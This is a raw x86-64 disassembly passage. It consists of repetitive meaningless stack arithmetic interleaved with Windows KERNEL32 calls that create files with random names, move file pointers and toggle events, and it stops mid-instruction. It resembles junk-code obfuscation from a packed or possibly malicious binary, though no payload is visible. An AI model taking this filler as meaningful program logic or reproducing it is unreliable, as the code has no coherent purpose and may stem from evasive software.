mov rax, qword [rsp + 0x190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x788]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1a00]
mov word [rcx], ax
mov rax, qword [0x1400fd2f8]
mov rax, qword [rax]
add rax, qword [rsp + 0xa18]
mov qword [rsp + 0x1a08], rax
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x6b52
mov rcx, qword [rsp + 0x28e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13e0], eax
mov rax, qword [rsp + 0x1788]
mov ecx, dword [rsp + 0x688]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8e0], eax
movzx eax, byte [str._aMl]
mov byte [rsp + 0x578], al
mov rcx, qword [rsp + 0x1b90]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1708]
mov rcx, qword [rsp + 0x1448]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd38], rax
movzx eax, word [rsp + 0x3a0]
movzx ecx, word [rsp + 0x854]
add eax, ecx
mov word [rsp + 0x24c], ax
mov rax, qword [0x1400fc3c8]
mov qword [0x1400fd3f0], rax
mov rax, qword [rsp + 0x820]
movzx eax, byte [rax]
mov byte [rsp + 0x2df], al
mov rax, qword [rsp + 0xd40]
mov rcx, qword [rsp + 0x1278]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1c08]
mov dword [rcx], eax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x1230], rax
mov rax, qword [0x1400fd338]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x558], ax
mov rax, qword [rsp + 0x1450]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7f0]
mov qword [rsp + 0x4748], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4748]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xf60]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [0x1400fd133]
shl eax, cl
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x1300]
mov rcx, qword [rsp + 0x14f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1720], rax
lea rax, [rsp + 0x240]
mov qword [rsp + 0x1798], rax
mov rax, qword [rsp + 0x1530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1258]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fc44c], ax
mov rax, qword [rsp + 0xd08]
mov rax, qword [rax]
add rax, qword [rsp + 0x1298]
mov qword [rsp + 0xb70], rax
mov rax, qword [rsp + 0x200]
mov rcx, qword [0x1400fd1b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12f0], rax
mov rax, qword [rsp + 0x1790]
mov qword [rsp + 0x1a28], rax
mov rax, qword [rsp + 0xd70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1190]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xae8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1146
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd8], eax
lea rax, [rsp + 0x1448]
mov qword [rsp + 0x19b8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2ac8], rax
mov rax, qword [0x1400fd330]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10c]
sar eax, cl
mov rcx, qword [rsp + 0x1510]
mov byte [rcx], al
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
add eax, dword [rsp + 0xcc8]
mov dword [rsp + 0xce0], eax
movzx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x668]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x22b], al
mov rax, qword [rsp + 0xa38]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xdc0]
idiv dword [rcx]
mov rcx, qword [rsp + 0x2360]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a0]
and eax, ecx
mov rcx, qword [0x1400fd268]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a4]
mov word [rsp + 0x93c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb59f
mov rcx, qword [rsp + 0x1e78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xac0], eax
mov rcx, qword [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce4], eax
movzx eax, word [rsp + 0x45c]
mov rcx, qword [rsp + 0x16a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x40c], ax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov qword [rsp + 0x14e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.PSxHMprpXTRK0MAMU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2928], rax
mov rax, qword [0x1400fd1f0]
mov ecx, dword [rsp + 0x630]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1ba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3d8]
mov qword [rsp + 0x4750], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4750]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x19a0], rax
lea rax, [rsp + 0x1c1]
mov qword [rsp + 0x2f28], rax
mov rcx, qword [rsp + 0x2ac8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
movsx eax, word [rsp + 0x270]
movsx ecx, word [rsp + 0x3b0]
or eax, ecx
mov rcx, qword [rsp + 0x1230]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xd0c3
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1770]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c4], ax
mov rax, qword [rsp + 0x1218]
mov rcx, qword [0x1400fd248]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1400fd1c0], rax
movzx eax, word [rsp + 0x704]
movzx ecx, word [rsp + 0x88]
add eax, ecx
mov word [rsp + 0x244], ax
mov rax, qword [rsp + 0x780]
mov rax, qword [rax]
add rax, qword [rsp + 0xc78]
mov qword [rsp + 0x2e90], rax
mov rax, qword [0x1400fd2b8]
mov rax, qword [rax]
mov qword [rsp + 0x3660], rax
mov rax, qword [rsp + 0x1a18]
mov ecx, dword [rsp + 0xc8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x568], eax
mov rax, qword [rsp + 0x1ec0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa10]
mov qword [rsp + 0x4758], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4758]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2a28], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2618], rax
mov eax, dword [rsp + 0x47c]
cdq
mov rcx, qword [rsp + 0x1930]
idiv dword [rcx]
mov dword [rsp + 0x9a8], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa5b2
mov rcx, qword [rsp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c2], al
lea rax, [0x1400fd133]
mov qword [rsp + 0x1fe0], rax
lea rax, [rsp + 0x350]
mov qword [0x1400fd3f8], rax
mov rcx, qword [rsp + 0x23d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xfe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x410], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6ed6
mov rcx, qword [rsp + 0x2a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26c4], eax
movzx eax, word [rsp + 0x6f0]
mov word [rsp + 0x2d8], ax
mov rax, qword [0x1400fd3d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1318]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x388], ax
lea rax, [rsp + 0x818]
mov qword [rsp + 0x2910], rax
mov rcx, qword [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0x11c]
and eax, ecx
mov rcx, qword [rsp + 0x10b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1150]
mov eax, dword [rax]
mov ecx, dword [0x1400fd214]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x828]
mov dword [rcx], eax
movsx eax, word [rsp + 0x30c]
movsx ecx, word [rsp + 0x3a8]
sub eax, ecx
mov word [rsp + 0x6b0], ax
mov rax, qword [rsp + 0x23c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14c8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x648]
mov word [rcx], ax
lea rax, [rsp + 0x1790]
mov qword [0x1400fd400], rax
mov rax, qword [rsp + 0x2400]
mov qword [rsp + 0x2b58], rax
mov rax, qword [0x1400fc3c8]
mov rcx, qword [rsp + 0x1fb8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcb0]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb56
mov rcx, qword [rsp + 0x1f40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0x1250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e58]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1750], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x29f8], rax
lea rax, [rsp + 0x434]
mov qword [rsp + 0x14f8], rax
mov eax, dword [0x1400fc384]
mov rcx, qword [rsp + 0x970]
mov qword [rsp + 0x4760], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4760]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7a0], eax
mov rax, qword [rsp + 0x1090]
movzx eax, byte [rax]
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0x1450]
mov eax, dword [rax]
add eax, dword [rsp + 0x1a70]
mov dword [rsp + 0xcbc], eax
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x1960]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1018]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x1410]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1400fd134], al
lea rax, [rsp + 0x174]
mov qword [rsp + 0x1068], rax
movsx eax, word [0x1400fc448]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x224], ax
mov rax, qword [rsp + 0xf80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x380], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x7e7f
mov rcx, qword [rsp + 0x23e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x484], eax
mov rax, qword [rsp + 0x738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2a78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xfe0], rax
mov rcx, qword [rsp + 0x29f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xbb0], eax
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
add rax, qword [rsp + 0x1eb8]
mov rcx, qword [rsp + 0x1f10]
mov qword [rcx], rax
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x2c98], rax
mov rax, qword [rsp + 0xf60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x630], eax
mov rax, qword [rsp + 0xff8]
movzx eax, word [rax]
mov word [rsp + 0x390], ax
lea rax, [rsp + 0x198]
mov qword [0x1400fd408], rax
mov rax, qword [rsp + 0x1f38]
mov rcx, qword [rsp + 0x14e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x320]
mov qword [rcx], rax
lea rax, [0x1400fc434]
mov qword [rsp + 0x2488], rax
mov eax, dword [rsp + 0x9f0]
mov rcx, qword [rsp + 0xc50]
mov qword [rsp + 0x4768], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4768]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a8], eax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x14f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1348], rax
mov eax, dword [rsp + 0x574]
mov rcx, qword [rsp + 0x1f48]
mov qword [rsp + 0x4770], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4770]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x1080]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x90]
mov byte [rsp + 0x3f7], al
mov rax, qword [rsp + 0x1420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x310], ax
mov rax, qword [rsp + 0x1318]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd88]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fd368], ax
mov rax, qword [rsp + 0x10b8]
mov rcx, qword [rsp + 0x1518]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1760], rax
mov rax, qword [rsp + 0xd50]
mov rax, qword [rax]
mov qword [rsp + 0x2aa0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.xGZzIMM2mJoN1jVVE1lVDmc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2cd8], rax
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0]
sub eax, ecx
mov rcx, qword [rsp + 0x180]
mov word [rcx], ax
movzx eax, word [0x1400fd200]
mov rcx, qword [rsp + 0xb60]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x564], ax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1114], eax
mov rax, qword [rsp + 0xca8]
mov eax, dword [rax]
add eax, dword [rsp + 0xce8]
mov rcx, qword [rsp + 0x1498]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x237]
movsx ecx, byte [0x1400fc382]
and eax, ecx
mov byte [rsp + 0x3f7], al
lea rax, [rsp + 0x818]
mov qword [rsp + 0x2410], rax
mov rax, qword [rsp + 0x778]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1370]
shl rax, cl
mov qword [rsp + 0x1c30], rax
movsx eax, word [0x1400fc3c0]
movsx ecx, word [rsp + 0x290]
or eax, ecx
mov rcx, qword [0x1400fd2f0]
mov word [rcx], ax
movzx eax, word [rsp + 0x300]
mov word [rsp + 0x89c], ax
mov eax, dword [rsp + 0xcd0]
mov ecx, dword [rsp + 0x2148]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb94], eax
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x91]
imul eax, ecx
mov byte [rsp + 0x230], al
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1370]
sar rax, cl
mov rcx, qword [rsp + 0x1218]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1008]
mov rcx, qword [0x1400fd2c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1f48]
mov dword [rcx], eax
lea rax, [rsp + 0x11b]
mov qword [rsp + 0x1b70], rax
mov rax, qword [rsp + 0x1888]
mov rax, qword [rax]
add rax, qword [rsp + 0x1260]
mov qword [rsp + 0x1348], rax
mov rax, qword [rsp + 0x1a00]
movzx eax, word [rax]
mov word [rsp + 0x4e8], ax
lea rax, [rsp + 0xd4]
mov qword [0x1400fd410], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xcaeb
mov rcx, qword [rsp + 0x2d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
mov rax, qword [rsp + 0xb28]
mov rcx, qword [rsp + 0xdb8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2968], rax
movzx eax, word [rsp + 0x178]
mov rcx, qword [0x1400fd160]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x160], ax
movzx eax, word [rsp + 0x98]
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x12b8]
mov rcx, qword [rsp + 0x12b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1718], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x28b0], rax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x2fd8], rax
mov rax, qword [rsp + 0xf98]
mov rcx, qword [0x1400fd380]
mov qword [rsp + 0x4778], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4778]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x1300], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc2
mov rcx, qword [rsp + 0x28e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x1508]
mov eax, dword [rax]
add eax, dword [rsp + 0xbd0]
mov dword [rsp + 0xa0], eax
lea rax, [rsp + 0x430]
mov qword [rsp + 0x19e0], rax
mov rax, qword [0x1400fd248]
mov rcx, qword [rsp + 0x14d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd390], rax
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0x139]
and eax, ecx
mov byte [rsp + 0x131], al
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0xa04]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1970], eax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe30], eax
mov rax, qword [rsp + 0xa78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x164], ax
movzx eax, word [rsp + 0xaf0]
movzx ecx, word [rsp + 0x4f4]
xor eax, ecx
mov word [rsp + 0x3a4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.v4QqamnFgZplGL7WxLDQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2340], rax
mov rax, qword [rsp + 0x1408]
mov qword [rsp + 0x2b40], rax
mov rax, qword [rsp + 0x1050]
mov ecx, dword [rsp + 0x56c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
sar eax, cl
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x1068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4fc]
add eax, ecx
mov rcx, qword [rsp + 0xda0]
mov word [rcx], ax
lea rax, [rsp + 0x178]
mov qword [0x1400fd418], rax
mov rax, qword [rsp + 0x1060]
mov qword [rsp + 0x2a08], rax
mov rax, qword [0x1400fd2b8]
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x18d0], rax
mov rax, qword [rsp + 0x780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1518], rax
movsx eax, word [rsp + 0x1d4]
movsx ecx, word [0x1400fc3c0]
add eax, ecx
mov word [rsp + 0x4ac], ax
mov rcx, qword [rsp + 0x3150]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0xba63
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x167c], eax
mov rax, qword [rsp + 0xc70]
mov rcx, qword [rsp + 0xa80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1348], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3260], rax
lea rax, [rsp + 0x570]
mov qword [rsp + 0x1860], rax
movsx eax, byte [rsp + 0x82]
mov rcx, qword [rsp + 0x1030]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1bc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x1930]
mov eax, dword [rax]
mov dword [rsp + 0x119c], eax
movzx eax, word [rsp + 0x248]
mov word [0x1400fd420], ax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd88]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x10a8]
mov word [rcx], ax
lea rax, [rsp + 0x93c]
mov qword [rsp + 0xda8], rax
mov rax, qword [0x1400fd220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d60]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd00], rax
mov rax, qword [rsp + 0x750]
mov ecx, dword [rsp + 0x1108]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa0], eax
movzx eax, byte [rsp + 0x409]
mov byte [rsp + 0x607], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x3937
mov rcx, qword [rsp + 0x2860]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13e0], eax
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1500]
add rax, qword [rcx]
mov qword [rsp + 0x2888], rax
mov rax, qword [rsp + 0x1cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e0]
sub eax, ecx
mov word [rsp + 0x6e0], ax
movzx eax, word [rsp + 0x214]
movzx ecx, word [0x1400fc44c]
sar eax, cl
mov word [rsp + 0x498], ax
mov rax, qword [rsp + 0x1928]
mov rcx, qword [rsp + 0x11d0]
add rcx, rax
mov rax, rcx
mov qword [0x1400fd1c0], rax
lea rax, [rsp + 0x938]
mov qword [rsp + 0x1768], rax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [0x1400fd2b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2650], rax
mov rax, qword [rsp + 0xb48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f38], rax
mov rax, qword [rsp + 0xd60]
mov eax, dword [rax]
mov dword [rsp + 0xb90], eax
mov rcx, qword [rsp + 0x1e70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1c80]
mov rcx, qword [rsp + 0x18c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1278]
mov rcx, qword [rsp + 0x1930]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a7c], eax
mov rax, qword [rsp + 0x1758]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x109]
add eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1340]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0x1280]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x368]
or eax, ecx
mov word [0x1400fd2c0], ax
lea rax, [rsp + 0x4ac]
mov qword [rsp + 0x1ef8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xd1e6
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2100], eax
movzx eax, word [rsp + 0x13c]
mov rcx, qword [rsp + 0xd10]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5b4], ax
mov rax, qword [rsp + 0x1ad0]
movzx eax, word [rax]
mov word [rsp + 0xeac], ax
mov rax, qword [0x1400fd2c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x570]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8c], eax
mov rax, qword [rsp + 0x1018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x19a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf98], rax
movzx eax, byte [rsp + 0x11c]
mov byte [rsp + 0x2cd], al
movsx eax, word [rsp + 0x1d8]
movsx ecx, word [rsp + 0x54]
add eax, ecx
mov word [rsp + 0x410], ax
lea rax, [rsp + 0x388]
mov qword [rsp + 0x14b0], rax
mov rax, qword [rsp + 0x1c68]
mov qword [0x1400fd428], rax
mov rax, qword [rsp + 0xf88]
mov rcx, qword [rsp + 0xfb8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1138]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x22a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe30], eax
mov rax, qword [rsp + 0x738]
mov rax, qword [rax]
mov rcx, qword [0x1400fd2f8]
mov qword [rsp + 0x4780], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4780]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb28]
mov qword [rcx], rax
lea rax, [rsp + 0xb68]
mov qword [rsp + 0x19f8], rax
movzx eax, word [rsp + 0x5b4]
mov rcx, qword [rsp + 0x1768]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x1930]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2698], eax
mov rax, qword [rsp + 0x1428]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe5], al
lea rax, [0x1400fc382]
mov qword [rsp + 0x2388], rax
mov rax, qword [rsp + 0x2328]
mov rcx, qword [rsp + 0x2888]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1720], rax
mov rax, qword [rsp + 0x1d80]
mov rcx, qword [rsp + 0x828]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x1400fd2c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xff8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8b8], ax
movzx eax, word [rsp + 0x364]
mov word [rsp + 0x560], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xdfd5
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbcc], eax
mov rax, qword [rsp + 0x11f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x42c], ax
mov rax, qword [rsp + 0x3e0]
mov rcx, qword [rsp + 0x12f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1c50], rax
mov rax, qword [rsp + 0x1f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1300]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x11d8], rax
mov eax, dword [rsp + 0xbb8]
mov rcx, qword [rsp + 0x1788]
mov qword [rsp + 0x4788], rcx
movzx ecx, al
